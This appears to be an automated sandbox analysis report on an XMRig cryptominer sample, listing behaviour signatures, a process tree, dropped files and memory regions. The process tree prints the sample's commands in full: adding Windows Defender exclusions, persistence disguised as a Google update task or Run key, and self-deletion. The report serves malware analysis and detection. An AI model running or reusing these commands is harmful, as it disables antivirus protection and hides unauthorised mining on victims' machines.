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Analysis

  • max time kernel
    1801s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3468
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4516
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1148
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1604
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2932
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4512
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:3028
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2504
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1472
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4264
      • C:\Windows\System32\choice.exe
        choice /C Y /N /D Y /T 3
        1⤵
          PID:4544
        • C:\Program Files\Google\Chrome\updater.exe
          "C:\Program Files\Google\Chrome\updater.exe"
          1⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4376
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1164
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3600
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            1⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1972
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              2⤵
              • Detects videocard installed
              PID:3924

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 467KB
                • SHA256 77ab6aff341f0113ac324390dae796263085efcdfee703623f0dc4b7f66c31b4
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 1.1MB
                • SHA256 9b6107ec4ef6adb1667b260d0b09204126030395eaf53341ee70cb02e2589e6f
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 192cf22a9636a6b4c8a88c482709d0710fe1faf375254a1861590a8cc896fbf3
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_r0ekfrgw.2kj.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r0ekfrgw.2kj.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1148-11-0x00007FFBA7350000-0x00007FFBA7E11000-memory.dmp

                memory/1148-16-0x00007FFBA7350000-0x00007FFBA7E11000-memory.dmp

                memory/1148-1-0x0000022A78190000-0x0000022A781B2000-memory.dmp

                memory/1148-13-0x0000022A75A80000-0x0000022A75A90000-memory.dmp

                memory/1148-12-0x0000022A75A80000-0x0000022A75A90000-memory.dmp

                memory/1472-99-0x000002A8A6B80000-0x000002A8A6B90000-memory.dmp

                memory/1472-114-0x00007FFBA7350000-0x00007FFBA7E11000-memory.dmp

                memory/1472-112-0x000002A8A6B80000-0x000002A8A6B90000-memory.dmp

                memory/1472-111-0x000002A8A6B80000-0x000002A8A6B90000-memory.dmp

                memory/1472-110-0x00007FF4A0970000-0x00007FF4A0980000-memory.dmp

                memory/1472-100-0x000002A8A6B80000-0x000002A8A6B90000-memory.dmp

                memory/1472-97-0x00007FFBA7350000-0x00007FFBA7E11000-memory.dmp

                memory/1604-33-0x00007FFBA7350000-0x00007FFBA7E11000-memory.dmp

                memory/1604-31-0x000001E953D60000-0x000001E953D70000-memory.dmp

                memory/1604-28-0x000001E953D60000-0x000001E953D70000-memory.dmp

                memory/1604-27-0x00007FFBA7350000-0x00007FFBA7E11000-memory.dmp

                memory/1604-30-0x000001E953D60000-0x000001E953D70000-memory.dmp

                memory/2504-78-0x000002B4518A0000-0x000002B4518AA000-memory.dmp

                memory/2504-76-0x000002B451750000-0x000002B45175A000-memory.dmp

                memory/2504-77-0x000002B4518C0000-0x000002B4518DC000-memory.dmp

                memory/2504-64-0x000002B44F2C0000-0x000002B44F2D0000-memory.dmp

                memory/2504-79-0x000002B451900000-0x000002B45191A000-memory.dmp

                memory/2504-74-0x000002B451670000-0x000002B45168C000-memory.dmp

                memory/2504-82-0x000002B4518F0000-0x000002B4518FA000-memory.dmp

                memory/2504-81-0x000002B4518E0000-0x000002B4518E6000-memory.dmp

                memory/2504-83-0x000002B44F2C0000-0x000002B44F2D0000-memory.dmp

                memory/2504-86-0x00007FFBA7350000-0x00007FFBA7E11000-memory.dmp

                memory/2504-75-0x000002B451690000-0x000002B451745000-memory.dmp

                memory/2504-80-0x000002B4518B0000-0x000002B4518B8000-memory.dmp

                memory/2504-63-0x00007FFBA7350000-0x00007FFBA7E11000-memory.dmp

                memory/3600-141-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-161-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-187-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-185-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-183-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-181-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-118-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-179-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-120-0x0000024E45910000-0x0000024E45930000-memory.dmp

                memory/3600-177-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-175-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-124-0x0000024E45E60000-0x0000024E45EA0000-memory.dmp

                memory/3600-173-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-126-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-127-0x0000024E45990000-0x0000024E459B0000-memory.dmp

                memory/3600-128-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-129-0x0000024E45EA0000-0x0000024E45EC0000-memory.dmp

                memory/3600-131-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-171-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-133-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-135-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-136-0x0000024E45990000-0x0000024E459B0000-memory.dmp

                memory/3600-137-0x0000024E45EA0000-0x0000024E45EC0000-memory.dmp

                memory/3600-139-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-169-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-143-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-145-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-147-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-149-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-151-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-153-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-155-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-157-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-159-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-167-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-163-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/3600-165-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp

                memory/4264-132-0x00007FF6D0CF0000-0x00007FF6D0D06000-memory.dmp

                memory/4264-125-0x00007FF6D0CF0000-0x00007FF6D0D06000-memory.dmp

                memory/4376-53-0x00007FF630F20000-0x00007FF631131000-memory.dmp

                memory/4376-119-0x00007FF630F20000-0x00007FF631131000-memory.dmp

                memory/4512-39-0x0000020CF4B30000-0x0000020CF4B40000-memory.dmp

                memory/4512-37-0x0000020CF4B30000-0x0000020CF4B40000-memory.dmp

                memory/4512-36-0x00007FFBA7350000-0x00007FFBA7E11000-memory.dmp

                memory/4512-49-0x0000020CF4B30000-0x0000020CF4B40000-memory.dmp

                memory/4512-52-0x00007FFBA7350000-0x00007FFBA7E11000-memory.dmp

                memory/4516-0-0x00007FF7E2B70000-0x00007FF7E2D81000-memory.dmp

                memory/4516-35-0x00007FF7E2B70000-0x00007FF7E2D81000-memory.dmp